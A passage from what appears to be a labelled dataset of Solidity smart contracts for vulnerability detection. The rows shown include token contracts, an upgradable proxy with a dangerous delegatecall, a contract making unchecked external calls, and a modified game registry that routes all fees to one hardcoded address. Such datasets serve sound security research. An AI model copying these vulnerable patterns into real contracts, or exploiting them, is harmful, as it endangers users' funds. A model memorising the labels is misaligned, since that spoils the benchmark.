allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is ERC23StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(0x0, _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract RichClassic is MintableToken { string public name=""RichClassic""; string public symbol=""RRGC""; uint8 public decimals=18; }",Safe,8,8 806.sol,"pragma solidity ^0.4.16; /* 创建一个父类, 账户管理员 */ contract owned { address public owner; function owned() public { owner = msg.sender; } /* modifier是修改标志 */ modifier onlyOwner { require(msg.sender == owner); _; } /* 修改管理员账户, onlyOwner代表只能是用户管理员来修改 */ function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } /* receiveApproval服务合约指示代币合约将代币从发送者的账户转移到服务合约的账户(通过调用服务合约的 */ interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TokenERC20 { // 代币(token)的公共变量 string public name; //代币名字 string public symbol; //代币符号 uint8 public decimals = 18; //代币小数点位数, 18是默认, 尽量不要更改 uint256 public totalSupply; //代币总量 // 记录各个账户的代币数目 mapping (address => uint256) public balanceOf; // A账户存在B账户资金 mapping (address => mapping (address => uint256)) public allowance; // 转账通知事件 event Transfer(address indexed from, address indexed to, uint256 value); // 销毁金额通知事件 event Burn(address indexed from, uint256 value); /* 构造函数 */ function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // 根据decimals计算代币的数量 balanceOf[msg.sender] = totalSupply; // 给生成者所有的代币数量 name = tokenName; // 设置代币的名字 symbol = tokenSymbol; // 设置代币的符号 } /* 私有的交易函数 */ function _transfer(address _from, address _to, uint _value) internal { // 防止转移到0x0, 用burn代替这个功能 require(_to != 0x0); // 检测发送者是否有足够的资金 require(balanceOf[_from] >= _value); // 检查是否溢出(数据类型的溢出) require(balanceOf[_to] + _value > balanceOf[_to]); // 将此保存为将来的断言, 函数最后会有一个检验 uint previousBalances = balanceOf[_from] + balanceOf[_to]; // 减少发送者资产 balanceOf[_from] -= _value; // 增加接收者的资产 balanceOf[_to] += _value; Transfer(_from, _to, _value); // 断言检测, 不应该为错 assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /* 传递tokens */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /* 从其他账户转移资产 */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /* 授权第三方从发送者账户转移代币,然后通过transferFrom()函数来执行第三方的转移操作 */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /* 为其他地址设置津贴, 并通知 发送者通知代币合约, 代币合约通知服务合约receiveApproval, 服务合约指示代币合约将代币从发送者的账户转移到服务合约的账户(通过调用服务合约的transferFrom) */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * 销毁代币 */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * 从其他账户销毁代币 */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } } /******************************************/ /* ADVANCED TOKEN STARTS HERE */ /******************************************/ contract ROSCtoken is owned, TokenERC20 { uint256 public sellPrice; uint256 public buyPrice; /* 冻结账户 */ mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* 构造函数 */ function ROSCtoken( uint256 initialSupply, string tokenName, string tokenSymbol ) TokenERC20(initialSupply, tokenName, tokenSymbol) public {} /* 转账, 比父类加入了账户冻结 */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient Transfer(_from, _to, _value); } /// 向指定账户增发资金 function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } /// 冻结 or 解冻账户 function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /// @notice Buy tokens from contract by sending ether function buy() payable public { uint amount = msg.value / buyPrice; // calculates the amount _transfer(this, msg.sender, amount); // makes the transfers } function sell(uint256 amount) public { require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks } }",./Dataset/ether strict equality (SE),3,3 20740.sol,"pragma solidity ^0.4.18; contract Proxy { function implementation() public view returns (address); function () payable public { address impl = implementation(); require(impl != address(0)); bytes memory data = msg.data; assembly { let result := delegatecall(gas, impl, add(data, 0x20), mload(data), 0, 0) let size := returndatasize let ptr := mload(0x40) returndatacopy(ptr, 0, size) } } } contract Ownable { address[] public owners; event OwnerAdded(address indexed authorizer, address indexed newOwner, uint256 index); event OwnerRemoved(address indexed authorizer, address indexed oldOwner); function Ownable() public { owners.push(msg.sender); OwnerAdded(0x0, msg.sender, 0); } modifier onlyOwner() { bool isOwner = false; for (uint256 i = 0; i < owners.length; i++) { if (msg.sender == owners[i]) { isOwner = true; break; } } require(isOwner); _; } function addOwner(address newOwner) onlyOwner public { require(newOwner != address(0)); uint256 i = owners.push(newOwner) - 1; OwnerAdded(msg.sender, newOwner, i); } function removeOwner(uint256 index) onlyOwner public { address owner = owners[index]; owners[index] = owners[owners.length - 1]; delete owners[owners.length - 1]; OwnerRemoved(msg.sender, owner); } function ownersCount() constant public returns (uint256) { return owners.length; } } contract UpgradableStorage is Ownable { address internal _implementation; event NewImplementation(address implementation); function implementation() public view returns (address) { return _implementation; } } contract Upgradable is UpgradableStorage { function initialize() public payable { } } contract KnowledgeProxy is Proxy, UpgradableStorage { function upgradeTo(address imp) onlyOwner public payable { _implementation = imp; Upgradable(this).initialize.value(msg.value)(); NewImplementation(imp); } }",./Dataset/dangerous delegatecall (DE)/,1,1 844.sol,"pragma solidity ^0.4.21; contract Updater { mapping (address => bool) public owners; struct State { bool exchange; bool payment; } mapping(address => State) public states; event InfoUpdated(bytes4 indexed method, address indexed target, bool indexed res, uint256 ETHUSD, uint256 token, uint256 value); event OwnerChanged(address indexed previousOwner, bool state); modifier onlyOwner() { require(owners[msg.sender]); _; } function Updater() public { owners[msg.sender] = true; } function setOwner(address _newOwner,bool _state) onlyOwner public { emit OwnerChanged(_newOwner, _state); owners[_newOwner] = _state; } function setStates(address[] _addr, uint8[] _exchange, uint8[] _payment) onlyOwner public { for(uint256 i = 0; i < _addr.length; i++){ states[_addr[i]].exchange = _exchange[i]>0; states[_addr[i]].payment = _payment[i]>0; } } function update(address[] _addr, uint256[] _ETHUSD, uint256[] _token, uint256[] _value) onlyOwner public { for(uint256 i = 0; i < _addr.length; i++){ State storage state = states[_addr[i]]; bool res; if(!(state.exchange || state.payment)){ res=_addr[i].call(bytes4(keccak256(""updateInfo(uint256,uint256,uint256)"")),_ETHUSD[i],_token[i],_value[i]); emit InfoUpdated(bytes4(keccak256(""updateInfo(uint256,uint256,uint256)"")),_addr[i],res,_ETHUSD[i],_token[i],_value[i]); continue; } if(state.exchange){ res=_addr[i].call(bytes4(keccak256(""changeExchange(uint256)"")),_ETHUSD[i]); emit InfoUpdated(bytes4(keccak256(""changeExchange(uint256)"")),_addr[i],res,_ETHUSD[i],0x0,0x0); } if(state.payment){ res=_addr[i].call(bytes4(keccak256(""paymentsInOtherCurrency(uint256,uint256)"")),_token[i],_value[i]); emit InfoUpdated(bytes4(keccak256(""paymentsInOtherCurrency(uint256,uint256)"")),_addr[i],res,0x0,_token[i],_value[i]); } } } }",./Dataset/unchecked external call (UC),7,7 200.sol,"pragma solidity ^0.4.24; /* * -PlayerBook - v0.3.14 * ┌┬┐┌─┐┌─┐┌┬┐ ╦╦ ╦╔═╗╔╦╗ ┌─┐┬─┐┌─┐┌─┐┌─┐┌┐┌┌┬┐┌─┐ * │ ├┤ ├─┤│││ ║║ ║╚═╗ ║ ├─┘├┬┘├┤ └─┐├┤ │││ │ └─┐ * ┴ └─┘┴ ┴┴ ┴ ╚╝╚═╝╚═╝ ╩ ┴ ┴└─└─┘└─┘└─┘┘└┘ ┴ └─┘ * _____ _____ * (, / /) /) /) (, / /) /) * ┌─┐ / _ (/_ // // / _ // _ __ _(/ * ├─┤ ___/___(/_/(__(_/_(/_(/_ ___/__/_)_(/_(_(_/ (_(_(_ * ┴ ┴ / / .-/ _____ (__ / * (__ / (_/ (, / /)™ * / __ __ __ __ _ __ __ _ _/_ _ _(/ * ┌─┐┬─┐┌─┐┌┬┐┬ ┬┌─┐┌┬┐ /__/ (_(__(_)/ (_/_)_(_)/ (_(_(_(__(/_(_(_ * ├─┘├┬┘│ │ │││ ││ │ (__ / .-/ © Jekyll Island Inc. 2018 * ┴ ┴└─└─┘─┴┘└─┘└─┘ ┴ (_/ * ______ _ ______ _ *====(_____ \=| |===============================(____ \===============| |=============* * _____) )| | _____ _ _ _____ ____ ____) ) ___ ___ | | _ * | ____/ | | (____ || | | || ___ | / ___) | __ ( / _ \ / _ \ | |_/ ) * | | | | / ___ || |_| || ____|| | | |__) )| |_| || |_| || _ ( *====|_|=======\_)\_____|=\__ ||_____)|_|======|______/==\___/==\___/=|_|=\_)=========* * (____/ * ╔═╗┌─┐┌┐┌┌┬┐┬─┐┌─┐┌─┐┌┬┐ ╔═╗┌─┐┌┬┐┌─┐ ┌──────────┐ * ║ │ ││││ │ ├┬┘├─┤│ │ ║ │ │ ││├┤ │ Inventor │ * ╚═╝└─┘┘└┘ ┴ ┴└─┴ ┴└─┘ ┴ ╚═╝└─┘─┴┘└─┘ └──────────┘ */ interface JIincForwarderInterface { function deposit() external payable returns(bool); function status() external view returns(address, address, bool); function startMigration(address _newCorpBank) external returns(bool); function cancelMigration() external returns(bool); function finishMigration() external returns(bool); function setup(address _firstCorpBank) external; } interface PlayerBookReceiverInterface { function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external; function receivePlayerNameList(uint256 _pID, bytes32 _name) external; } interface TeamJustInterface { function requiredSignatures() external view returns(uint256); function requiredDevSignatures() external view returns(uint256); function adminCount() external view returns(uint256); function devCount() external view returns(uint256); function adminName(address _who) external view returns(bytes32); function isAdmin(address _who) external view returns(bool); function isDev(address _who) external view returns(bool); } contract PlayerBook { using NameFilter for string; using SafeMath for uint256; // Hack 闭源合约 // JIincForwarderInterface constant private Jekyll_Island_Inc = JIincForwarderInterface(0x548e2295fc38b69000ff43a730933919b08c2562); TeamJustInterface constant private TeamJust = TeamJustInterface(0xc314e8f2150cb9075ff0744234739af891df929d); address constant private reward = 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f; MSFun.Data private msData; function multiSigDev(bytes32 _whatFunction) private returns (bool) {return(MSFun.multiSig(msData, TeamJust.requiredDevSignatures(), _whatFunction));} function deleteProposal(bytes32 _whatFunction) private {MSFun.deleteProposal(msData, _whatFunction);} function deleteAnyProposal(bytes32 _whatFunction) onlyDevs() public {MSFun.deleteProposal(msData, _whatFunction);} function checkData(bytes32 _whatFunction) onlyDevs() public view returns(bytes32, uint256) {return(MSFun.checkMsgData(msData, _whatFunction), MSFun.checkCount(msData, _whatFunction));} function checkSignersByAddress(bytes32 _whatFunction, uint256 _signerA, uint256 _signerB, uint256 _signerC) onlyDevs() public view returns(address, address, address) {return(MSFun.checkSigner(msData, _whatFunction, _signerA), MSFun.checkSigner(msData, _whatFunction, _signerB), MSFun.checkSigner(msData, _whatFunction, _signerC));} function checkSignersByName(bytes32 _whatFunction, uint256 _signerA, uint256 _signerB, uint256 _signerC) onlyDevs() public view returns(bytes32, bytes32, bytes32) {return(TeamJust.adminName(MSFun.checkSigner(msData, _whatFunction, _signerA)), TeamJust.adminName(MSFun.checkSigner(msData, _whatFunction, _signerB)), TeamJust.adminName(MSFun.checkSigner(msData, _whatFunction, _signerC)));} //============================================================================== // _| _ _|_ _ _ _ _|_ _ . // (_|(_| | (_| _\(/_ | |_||_) . //=============================|================================================ uint256 public registrationFee_ = 10 finney; // price to register a name mapping(uint256 => PlayerBookReceiverInterface) public games_; // mapping of our game interfaces for sending your account info to games mapping(address => bytes32) public gameNames_; // lookup a games name mapping(address => uint256) public gameIDs_; // lokup a games ID uint256 public gID_; // total number of games uint256 public pID_; // total number of players mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name mapping (uint256 => Player) public plyr_; // (pID => data) player data mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amoungst any name you own) mapping (uint256 => mapping (uint256 => bytes32)) public plyrNameList_; // (pID => nameNum => name) list of names a player owns struct Player { address addr; bytes32 name; uint256 laff; uint256 names; } //============================================================================== // _ _ _ __|_ _ __|_ _ _ . // (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy) //============================================================================== constructor() public { // premine the dev names (sorry not sorry) // No keys are purchased with this method, it's simply locking our addresses, // PID's and names for referral codes. plyr_[1].addr = 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f; plyr_[1].name = ""justo""; plyr_[1].names = 1; pIDxAddr_[0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f] = 1; pIDxName_[""justo""] = 1; plyrNames_[1][""justo""] = true; plyrNameList_[1][1] = ""justo""; plyr_[2].addr = 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f; plyr_[2].name = ""mantso""; plyr_[2].names = 1; pIDxAddr_[0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f] = 2; pIDxName_[""mantso""] = 2; plyrNames_[2][""mantso""] = true; plyrNameList_[2][1] = ""mantso""; plyr_[3].addr = 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f; plyr_[3].name = ""sumpunk""; plyr_[3].names = 1; pIDxAddr_[0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f] = 3; pIDxName_[""sumpunk""] = 3; plyrNames_[3][""sumpunk""] = true; plyrNameList_[3][1] = ""sumpunk""; plyr_[4].addr = 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f; plyr_[4].name = ""inventor""; plyr_[4].names = 1; pIDxAddr_[0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f] = 4; pIDxName_[""inventor""] = 4; plyrNames_[4][""inventor""] = true; plyrNameList_[4][1] = ""inventor""; pID_ = 4; } //============================================================================== // _ _ _ _|. |`. _ _ _ . // | | |(_)(_||~|~|(/_| _\ . (these are safety checks) //============================================================================== /** * @dev prevents contracts from interacting with fomo3d */ modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } modifier onlyDevs() { require(TeamJust.isDev(msg.sender) == true, ""msg sender is not a dev""); _; } modifier isRegisteredGame() { require(gameIDs_[msg.sender] != 0); _; } //============================================================================== // _ _ _ _|_ _ . // (/_\/(/_| | | _\ . //============================================================================== // fired whenever a player registers a name event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); //============================================================================== // _ _ _|__|_ _ _ _ . // (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan) //=====_|======================================================================= function checkIfNameValid(string _nameStr) public view returns(bool) { bytes32 _name = _nameStr.nameFilter(); if (pIDxName_[_name] == 0) return (true); else return (false); } //============================================================================== // _ |_ |. _ |` _ __|_. _ _ _ . // |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract) //====|========================================================================= /** * @dev registers a name. UI will always display the last name you registered. * but you will still own all previously registered names to use as affiliate * links. * - must pay a registration fee. * - name must be unique * - names will be converted to lowercase * - name cannot start or end with a space * - cannot have more than 1 space in a row * - cannot be only numbers * - cannot start with 0x * - name must be at least 1 char * - max length of 32 characters long * - allowed characters: a-z, 0-9, and space * -functionhash- 0x921dec21 (using ID for affiliate) * -functionhash- 0x3ddd4698 (using address for affiliate) * -functionhash- 0x685ffd83 (using name for affiliate) * @param _nameString players desired name * @param _affCode affiliate ID, address, or name of who refered you * @param _all set to true if you want this to push your info to all games * (this might cost a lot of gas) */ function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { // make sure name fees paid require (msg.value >= registrationFee_, ""umm..... you have to pay the name fee""); // filter name + condition checks bytes32 _name = NameFilter.nameFilter(_nameString); // set up address address _addr = msg.sender; // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given, no new affiliate code was given, or the // player tried to use their own pID as an affiliate code, lolz if (_affCode != 0 && _affCode != plyr_[_pID].laff && _affCode != _pID) { // update last affiliate plyr_[_pID].laff = _affCode; } else if (_affCode == _pID) { _affCode = 0; } // register name registerNameCore(_pID, _addr, _affCode, _name, _isNewPlayer, _all); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { // make sure name fees paid require (msg.value >= registrationFee_, ""umm..... you have to pay the name fee""); // filter name + condition checks bytes32 _name = NameFilter.nameFilter(_nameString); // set up address address _addr = msg.sender; // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz uint256 _affID; if (_affCode != address(0) && _affCode != _addr) { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { // make sure name fees paid require (msg.value >= registrationFee_, ""umm..... you have to pay the name fee""); // filter name + condition checks bytes32 _name = NameFilter.nameFilter(_nameString); // set up address address _addr = msg.sender; // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz uint256 _affID; if (_affCode != """" && _affCode != _name) { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); } /** * @dev players, if you registered a profile, before a game was released, or * set the all bool to false when you registered, use this function to push * your profile to a single game. also, if you've updated your name, you * can use this to push your name to games of your choosing. * -functionhash- 0x81c5b206 * @param _gameID game id */ function addMeToGame(uint256 _gameID) isHuman() public { require(_gameID <= gID_, ""silly player, that game doesn't exist yet""); address _addr = msg.sender; uint256 _pID = pIDxAddr_[_addr]; require(_pID != 0, ""hey there buddy, you dont even have an account""); uint256 _totalNames = plyr_[_pID].names; // add players profile and most recent name games_[_gameID].receivePlayerInfo(_pID, _addr, plyr_[_pID].name, plyr_[_pID].laff); // add list of all names if (_totalNames > 1) for (uint256 ii = 1; ii <= _totalNames; ii++) games_[_gameID].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]); } /** * @dev players, use this to push your player profile to all registered games. * -functionhash- 0x0c6940ea */ function addMeToAllGames() isHuman() public { address _addr = msg.sender; uint256 _pID = pIDxAddr_[_addr]; require(_pID != 0, ""hey there buddy, you dont even have an account""); uint256 _laff = plyr_[_pID].laff; uint256 _totalNames = plyr_[_pID].names; bytes32 _name = plyr_[_pID].name; for (uint256 i = 1; i <= gID_; i++) { games_[i].receivePlayerInfo(_pID, _addr, _name, _laff); if (_totalNames > 1) for (uint256 ii = 1; ii <= _totalNames; ii++) games_[i].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]); } } /** * @dev players use this to change back to one of your old names. tip, you'll * still need to push that info to existing games. * -functionhash- 0xb9291296 * @param _nameString the name you want to use */ function useMyOldName(string _nameString) isHuman() public { // filter name, and get pID bytes32 _name = _nameString.nameFilter(); uint256 _pID = pIDxAddr_[msg.sender]; // make sure they own the name require(plyrNames_[_pID][_name] == true, ""umm... thats not a name you own""); // update their current name plyr_[_pID].name = _name; } //============================================================================== // _ _ _ _ | _ _ . _ . // (_(_)| (/_ |(_)(_||(_ . //=====================_|======================================================= function registerNameCore(uint256 _pID, address _addr, uint256 _affID, bytes32 _name, bool _isNewPlayer, bool _all) private { // if names already has been used, require that current msg sender owns the name if (pIDxName_[_name] != 0) require(plyrNames_[_pID][_name] == true, ""sorry that names already taken""); // add name to player profile, registry, and name book plyr_[_pID].name = _name; pIDxName_[_name] = _pID; if (plyrNames_[_pID][_name] == false) { plyrNames_[_pID][_name] = true; plyr_[_pID].names++; plyrNameList_[_pID][plyr_[_pID].names] = _name; } // registration fee goes directly to community rewards // Jekyll_Island_Inc.deposit.value(address(this).balance)(); reward.send(address(this).balance); // push player info to games if (_all == true) for (uint256 i = 1; i <= gID_; i++) games_[i].receivePlayerInfo(_pID, _addr, _name, _affID); // fire event emit onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, msg.value, now); } //============================================================================== // _|_ _ _ | _ . // | (_)(_)|_\ . //============================================================================== function determinePID(address _addr) private returns (bool) { if (pIDxAddr_[_addr] == 0) { pID_++; pIDxAddr_[_addr] = pID_; plyr_[pID_].addr = _addr; // set the new player bool to true return (true); } else { return (false); } } //============================================================================== // _ _|_ _ _ _ _ | _ _ || _ . // (/_>< | (/_| | |(_|| (_(_|||_\ . //============================================================================== function getPlayerID(address _addr) isRegisteredGame() external returns (uint256) { determinePID(_addr); return (pIDxAddr_[_addr]); } function getPlayerName(uint256 _pID) external view returns (bytes32) { return (plyr_[_pID].name); } function getPlayerLAff(uint256 _pID) external view returns (uint256) { return (plyr_[_pID].laff); } function getPlayerAddr(uint256 _pID) external view returns (address) { return (plyr_[_pID].addr); } function getNameFee() external view returns (uint256) { return(registrationFee_); } function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { // make sure name fees paid require (msg.value >= registrationFee_, ""umm..... you have to pay the name fee""); // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given, no new affiliate code was given, or the // player tried to use their own pID as an affiliate code, lolz uint256 _affID = _affCode; if (_affID != 0 && _affID != plyr_[_pID].laff && _affID != _pID) { // update last affiliate plyr_[_pID].laff = _affID; } else if (_affID == _pID) { _affID = 0; } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { // make sure name fees paid require (msg.value >= registrationFee_, ""umm..... you have to pay the name fee""); // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz uint256 _affID; if (_affCode != address(0) && _affCode != _addr) { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { // make sure name fees paid require (msg.value >= registrationFee_, ""umm..... you have to pay the name fee""); // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz uint256 _affID; if (_affCode != """" && _affCode != _name) { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } //============================================================================== // _ _ _|_ _ . // _\(/_ | |_||_) . //=============|================================================================ function addGame(address _gameAddress, string _gameNameStr) onlyDevs() public { require(gameIDs_[_gameAddress] == 0, ""derp, that games already been registered""); if (multiSigDev(""addGame"") == true) {deleteProposal(""addGame""); gID_++; bytes32 _name = _gameNameStr.nameFilter(); gameIDs_[_gameAddress] = gID_; gameNames_[_gameAddress] = _name; games_[gID_] = PlayerBookReceiverInterface(_gameAddress); games_[gID_].receivePlayerInfo(1, plyr_[1].addr, plyr_[1].name, 0); games_[gID_].receivePlayerInfo(2, plyr_[2].addr, plyr_[2].name, 0); games_[gID_].receivePlayerInfo(3, plyr_[3].addr, plyr_[3].name, 0); games_[gID_].receivePlayerInfo(4, plyr_[4].addr, plyr_[4].name, 0); } } function setRegistrationFee(uint256 _fee) onlyDevs() public { if (multiSigDev(""setRegistrationFee"") == true) {deleteProposal(""setRegistrationFee""); registrationFee_ = _fee; } } } /** * @title -Name Filter- v0.1.9 * ┌┬┐┌─┐┌─┐┌┬┐ ╦╦ ╦╔═╗╔╦╗ ┌─┐┬─┐┌─┐┌─┐┌─┐┌┐┌┌┬┐┌─┐ * │ ├┤ ├─┤│││ ║║ ║╚═╗ ║ ├─┘├┬┘├┤ └─┐├┤ │││ │ └─┐ * ┴ └─┘┴ ┴┴ ┴ ╚╝╚═╝╚═╝ ╩ ┴ ┴└─└─┘└─┘└─┘┘└┘ ┴ └─┘ * _____ _____ * (, / /) /) /) (, / /) /) * ┌─┐ / _ (/_ // // / _ // _ __ _(/ * ├─┤ ___/___(/_/(__(_/_(/_(/_ ___/__/_)_(/_(_(_/ (_(_(_ * ┴ ┴ / / .-/ _____ (__ / * (__ / (_/ (, / /)™ * / __ __ __ __ _ __ __ _ _/_ _ _(/ * ┌─┐┬─┐┌─┐┌┬┐┬ ┬┌─┐┌┬┐ /__/ (_(__(_)/ (_/_)_(_)/ (_(_(_(__(/_(_(_ * ├─┘├┬┘│ │ │││ ││ │ (__ / .-/ © Jekyll Island Inc. 2018 * ┴ ┴└─└─┘─┴┘└─┘└─┘ ┴ (_/ * _ __ _ ____ ____ _ _ _____ ____ ___ *=============| |\ | / /\ | |\/| | |_ =====| |_ | | | | | | | |_ | |_)==============* *=============|_| \| /_/--\ |_| | |_|__=====|_| |_| |_|__ |_| |_|__ |_| \==============* * * ╔═╗┌─┐┌┐┌┌┬┐┬─┐┌─┐┌─┐┌┬┐ ╔═╗┌─┐┌┬┐┌─┐ ┌──────────┐ * ║ │ ││││ │ ├┬┘├─┤│ │ ║ │ │ ││├┤ │ Inventor │ * ╚═╝└─┘┘└┘ ┴ ┴└─┴ ┴└─┘ ┴ ╚═╝└─┘─┴┘└─┘ └──────────┘ */ library NameFilter { /** * @dev filters name strings * -converts uppercase to lower case. * -makes sure it does not start/end with a space * -makes sure it does not contain multiple spaces in a row * -cannot be only numbers * -cannot start with 0x * -restricts characters to A-Z, a-z, 0-9, and space. * @return 